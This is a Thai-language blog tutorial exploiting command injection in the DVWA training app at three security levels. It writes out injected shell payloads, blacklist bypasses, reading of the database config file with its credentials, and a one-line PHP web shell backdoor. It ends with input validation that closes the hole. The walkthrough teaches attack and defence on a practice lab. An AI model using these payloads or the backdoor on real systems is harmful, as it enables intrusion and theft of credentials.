Command Injection คือช่องโหว่ของระบบที่มีการยินยอมให้ Run Command line ของ Server ได้จากฝั่ง Client เช่นคำสั่ง shell_exec ของ php
โดย Programmer ทำการเขียน Code ไม่รัดกุม ทำให้เราแนบคำสั่งอื่นๆไปด้วยได้ จากตัวอย่าง Code
<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";}?>
เราจะเห็นว่าจาก Code ตัวอย่าง Programmer ให้เรารับ ip address ในช่องที่กรอกผ่านทางหน้าเว็ป เพื่อนำไปประมวลผล command ping แล้วแสดงผลออกมาทาง browser
ทีนี้เราจะเห็นว่า Code php ของ Programmer คือจะรับค่าจาก input เข้ามาแล้วนำไปใช้ ต่อท้ายคำสั่ง ping ใน shell_exec( ‘ping -c 4 ’ . \$target );
ทีนี้ถ้าผมกรอกอย่างอื่นนอกจาก ip address ลงไปด้วย เช่นคำสั่ง && ใน linux เพื่อบอกว่า ping จบแล้ว ทำคำสั่งนี้ต่อนะ
xxx.xxx.xxx.xxx && ls -lah
นั่นก็คือหลังจาก ping ไปที่ xxx.xxx.xxx.xxx ให้ทำการ list directory ภายใต้ directory ปัจจุบันออกมาให้หมด ว่ามี file อะไรบ้าง
PING xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx): 56 data bytes64 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 ttl=51 time=39.777 ms64 bytes from xxx.xxx.xxx.xxx: icmp_seq=2 ttl=51 time=38.462 ms64 bytes from xxx.xxx.xxx.xxx: icmp_seq=3 ttl=51 time=36.263 ms--- xxx.xxx.xxx.xxx ping statistics ---4 packets transmitted, 3 packets received, 25% packet lossround-trip min/avg/max/stddev = 36.263/38.167/39.777/1.450 mstotal 20Kdrwxr-xr-x 1 www-data www-data 4.0K Oct 12 2018 .drwxr-xr-x 1 www-data www-data 4.0K Oct 12 2018 ..drwxr-xr-x 1 www-data www-data 4.0K Oct 12 2018 help-rw-r--r-- 1 www-data www-data 1.8K Oct 12 2018 index.phpdrwxr-xr-x 1 www-data www-data 4.0K Oct 12 2018 source
ผลลัพธ์ เราจะเห็นว่า ภายใต้ url http://172.16.20.57:8080/vulnerabilities/exec/# มีไฟล์ และ directory ต่างๆอยู่ก็คือ help index.php source
ดูจาก url path ถ้าเราออกจาก directory exec และ vulnerabilities ออกไป 2 ชั้น เราน่าจะเจอ home path ของ server ผมเดาว่าตระกูล file configuration รหัสผ่านต่างๆการเข้าถึง database น่าจะอยู่ในนั้น จากประสบการณ์การทำเวปมาไม่ต่ำกว่า 5 นาที ถุ้ยยยยยย!!!
เราจะลองกรอกคำสั่งนี้ดู ว่าหลังจาก ping ให้ออกไป 2 ชั้น แล้วส ั่ง list directory
xxx.xxx.xxx.xxx && cd ../../ && ls -lah ผลที่ออกมาตรงตามที่คิดมี directory config อยู่จริงๆด้วย
PING xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx): 56 data bytes64 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 ttl=51 time=36.291 ms64 bytes from xxx.xxx.xxx.xxx: icmp_seq=1 ttl=51 time=34.516 ms64 bytes from xxx.xxx.xxx.xxx: icmp_seq=2 ttl=51 time=54.029 ms64 bytes from xxx.xxx.xxx.xxx: icmp_seq=3 ttl=51 time=766.782 ms--- xxx.xxx.xxx.xxx ping statistics ---4 packets transmitted, 4 packets received, 0% packet lossround-trip min/avg/max/stddev = 34.516/222.905/766.782/314.100 mstotal 164Kdrwxr-xr-x 1 www-data www-data 4.0K Oct 12 2018 .drwxr-xr-x 1 root root 4.0K Oct 12 2018 ..-rw-r--r-- 1 www-data www-data 57 Oct 12 2018 .gitignore-rw-r--r-- 1 www-data www-data 500 Oct 12 2018 .htaccess-rw-r--r-- 1 www-data www-data 7.2K Oct 12 2018 CHANGELOG.md-rw-r--r-- 1 www-data www-data 33K Oct 12 2018 COPYING.txt-rw-r--r-- 1 www-data www-data 9.0K Oct 12 2018 README.md-rw-r--r-- 1 www-data www-data 3.8K Oct 12 2018 about.phpdrwxr-xr-x 1 www-data www-data 4.0K Aug 19 01:57 config
ต่อมาเราจะเข้าไปยัง directory config เพื่อไปขโมยรหัสผ่านเป้าหมาย แล้วเอารหัสผ่าน connect ผ่าน database client เพื่อเข้าไปโจมตี หรือเปลี่ยนจำนวนเงินในบัญชีของเราเป็นต้น เริ่มเห็นถึงความอันตรายแล้วใช่ไหมล่ะ
xxx.xxx.xxx.xxx && cd ../../ && cd config && pwd && ls -lah
PING xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx): 56 data bytes64 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 ttl=51 time=37.901 ms64 bytes from xxx.xxx.xxx.xxx: icmp_seq=1 ttl=51 time=367.457 ms64 bytes from xxx.xxx.xxx.xxx: icmp_seq=2 ttl=51 time=37.004 ms64 bytes from xxx.xxx.xxx.xxx: icmp_seq=3 ttl=51 time=36.346 ms--- xxx.xxx.xxx.xxx ping statistics ---4 packets transmitted, 4 packets received, 0% packet lossround-trip min/avg/max/stddev = 36.346/119.677/367.457/143.057 ms/var/www/html/configtotal 24Kdrwxr-xr-x 1 www-data www-data 4.0K Aug 19 01:57 .drwxr-xr-x 1 www-data www-data 4.0K Oct 12 2018 ..-rw-r--r-- 1 www-data www-data 1.9K Oct 12 2018 config.inc.php-rw-r--r-- 1 www-data www-data 1.9K Aug 19 01:57 config.inc.php.bak-rw-r--r-- 1 www-data www-data 1.9K Oct 12 2018 config.inc.php.dist
พอแล้วมาถึงจะเห็นว่าผมได้ทำการสั่ง pwd เพื่อบอก full path ซึ่งก็คือ /var/www/html/config ไว้ด้วย และใน directory นี้ไม่มี file index.php ซึ่งคาดเดาได้ว่า ไม่น่าจะทำ protect directory ไว้
มาลองเข้าผ่าน url กัน http://172.16.20.57:8080/config
วั้ย ตายแล้ว เห็นหมดเลย download ไฟล์มาดู username password ของ database ได้หมดเลยจ้าาา
<?php# If you are having problems connecting to the MySQL database and all of the variables below are correct# try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets.# Thanks to @digininja for the fix.# Database management system to use$DBMS = 'MySQL';#$DBMS = 'PGSQL'; // Currently disabled# Database variables# WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.# Please use a database dedicated to DVWA.## If you are using MariaDB then you cannot use root, you must use create a dedicated DVWA user.# See README.md for more information on this.$_DVWA = array();$_DVWA[ 'db_server' ] = '127.0.0.1';$_DVWA[ 'db_database' ] = 'dvwa';$_DVWA[ 'db_user' ] = 'root';$_DVWA[ 'db_password' ] = 'p@ssw0rd';?>
แล้วถ้าเค้าทำ protect directory ไว้ล่ะ ผ่านไฟล์ไม่ได้ แต่รู้ว่ามันมีไหล์ config อยู่จะทำยังไงนะ
ง่ายๆเลย เราก็ลอง ใส่ ping ip address ลงไปใน input form ใหม่ว่า
xxx.xxx.xxx.xxx && cd /var/www/html/config && cat config.inc.php
เพื่อสั่งให้ cat แสดงรายละเอียดไฟล์ config.inc.php ออกมาให้หน่อยน้ะ หลังจาก กดปุ่มแล้วจะพบกับ
PING xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx): 56 data bytes64 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 ttl=51 time=38.897 ms64 bytes from xxx.xxx.xxx.xxx: icmp_seq=1 ttl=51 time=36.167 ms64 bytes from xxx.xxx.xxx.xxx: icmp_seq=2 ttl=51 time=34.175 ms64 bytes from xxx.xxx.xxx.xxx: icmp_seq=3 ttl=51 time=526.542 ms--- xxx.xxx.xxx.xxx ping statistics ---4 packets transmitted, 4 packets received, 0% packet lossround-trip min/avg/max/stddev = 34.175/158.945/526.542/212.239 ms
ซึ่งดูไม่มีอะไร แต่เมื่อเรา View source จาก browser ดูเราจะพบกับ code config.inc.php ซ่อนไว้อยู่
บันเทิงมั้ยล่ะครับ
หรือเราจะใช้เทคนิคการฝัง backdoor ไว้ เผื่อกลับมาทำงานใหม่ ครั้งหน้า ด้วยวิธีสร้างไฟล์ทิ้งไว้ด้วยคำสั่ง touch และทำการ echo sourcecode ที่เราต้องการลงไป เป็นอันเรียบร้อย
xxx.xxx.xxx.xxx && cd /var/www/html/config && touch backdoor.php && echo ’<?php if(isset($_REQUEST[“cmd”])){echo ””;$cmd=($_REQUEST[“cmd”]);system($cmd);echo ”“;die;} ?>’ > backdoor.php
เมื่อเราสั่ง cat backdoor.php เราก็จะพบ code ที่เราฝังตัวลงไปนั่นเอง อาจจะใช้คำสั่ง wget หรือ curl เพื่อ download code แล้วค่อยนำมา run หรือจะเข้าไปแก้ไข file เพื่อวาง malware ของเราก็ได้อย่างง่ายดาย
เห็นไหมครับ แค่เขียน code ไม่รัดกุม แล้วสั่งให้ใช้ command ของ operating system ได้ เป็นอันจบเห่ได้เลยทีเดียวครับ
ทีนี้เรามาลอง Level Medium กันบ้าง
<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Set blacklist$substitutions = array('&&' => '',';' => '',);?>
ดูจาก sourcecode เราจะเห็นว่าเค้า blacklist && และ ; งั้นเราใช้ | pipe แทน ฮาๆๆๆ
เราจะสั่งให้มันแสดง list ไฟล์ใน home มาดูด้วยวิธีนี้แ ทน
xxx.xxx.xxx.xxx | ls -lah /var/www/html
total 164Kdrwxr-xr-x 1 www-data www-data 4.0K Oct 12 2018 .drwxr-xr-x 1 root root 4.0K Oct 12 2018 ..-rw-r--r-- 1 www-data www-data 57 Oct 12 2018 .gitignore-rw-r--r-- 1 www-data www-data 500 Oct 12 2018 .htaccess-rw-r--r-- 1 www-data www-data 7.2K Oct 12 2018 CHANGELOG.md-rw-r--r-- 1 www-data www-data 33K Oct 12 2018 COPYING.txt-rw-r--r-- 1 www-data www-data 9.0K Oct 12 2018 README.md-rw-r--r-- 1 www-data www-data 3.8K Oct 12 2018 about.phpdrwxr-xr-x 1 www-data www-data 4.0K Aug 21 07:59 configdrwxr-xr-x 1 www-data www-data 4.0K Oct 12 2018 docsdrwxr-xr-x 1 www-data www-data 4.0K Oct 12 2018 dvwadrwxr-xr-x 1 www-data www-data 4.0K Oct 12 2018 external-rw-r--r-- 1 www-data www-data 1.4K Oct 12 2018 favicon.icodrwxr-xr-x 1 www-data www-data 4.0K Oct 12 2018 hackable-rw-r--r-- 1 www-data www-data 895 Oct 12 2018 ids_log.php-rw-r--r-- 1 www-data www-data 4.3K Oct 12 2018 index.php-rw-r--r-- 1 www-data www-data 1.9K Oct 12 2018 instructions.php-rw-r--r-- 1 www-data www-data 4.1K Oct 12 2018 login.php-rw-r--r-- 1 www-data www-data 414 Oct 12 2018 logout.php-rw-r--r-- 1 www-data www-data 148 Oct 12 2018 php.ini-rw-r--r-- 1 www-data www-data 199 Oct 12 2018 phpinfo.php-rw-r--r-- 1 www-data www-data 26 Oct 12 2018 robots.txt-rw-r--r-- 1 www-data www-data 4.7K Oct 12 2018 security.php-rw-r--r-- 1 www-data www-data 2.9K Oct 12 2018 setup.phpdrwxr-xr-x 1 www-data www-data 4.0K Oct 12 2018 vulnerabilities
xxx.xxx.xxx.xxx | cat /var/www/html/config/config.inc.php.dist
เมื่อ view source ก็จะเจอ code ของ config เหมือนเดิมครับ นอกจากนี้เรายังสามารถสร้าง backdoor ได้ตามปรกติ แค่ต้องจบใน command เดียวเฉยๆ
ป่ะ เราไปดูแบบ hight กันบ้าง ว่าจะทะลวงยังไง พี่แกเล่น block ซะหมดเลย -_-”
<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = trim($_REQUEST[ 'ip' ]);// Set blacklist$substitutions = array('&' => '',';' => '','| ' => '','-' => '','$' => '','(' => '',')' => '','`' => '','||' => '',);
อ่าน code สักพัก อ่อออ จุดอ่อนอยู่ตรงนี้
'| ' => '',
คือถ้ามันเจอว่า 127.0.0.1| ls มันจะตัดค่า | และตามด้วย space ทิ้ง งั้นเราก็เขียน | ติดไปเลยสิครับ
xxx.xxx.xxx.xxx|ls
helpindex.phpsource
หรือจะลองอ่านไฟล์ config แบบเดิม
xxx.xxx.xxx.xxx|cat /var/www/html/config/config.inc.php
หรือจะลองไปวาง backdoor
xxx.xxx.xxx.xxx|echo “hello” > /var/www/html/config/b.txt
พอจะเห็นภาพอันตรายของการใช้ system command ใน server ของเราแล้วใช่ไหมครับ แบบที่เจาะไม่ได้คือ เค้าจะกำหนด เลยว่า ip address จะต้องมี format อย่างไง xxx.xxx.xxx.xxx นั่นคือเป็นตัวเลข คั่นด้วยจุด 4 จุด ทีนี้ถ้าเราทำการแยกตัวเลขระหว่างจุด ออกมาเช็คว่าเป็นตัวเลขจริงมั้ย ก็จะไม่มีทางใช้ช่องโหว่ command injection ได้ครับ
<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$target = $_REQUEST[ 'ip' ];$target = stripslashes( $target );// Split the IP into 4 octects$octet = explode( ".", $target );// Check IF each octet is an integerif( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {// If all 4 octets are int's put the IP back together.$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
ไว้เจอกันบทความหน้าครับการเจาะระบบด้วยเทคนิค File Inclusion ว่าทำงานยังไง วันนี้ บรัยยยยยยยยย Beer o’ Clock ใครก็ได้มาเลี้ยงที
Quick Links
Legal Stuff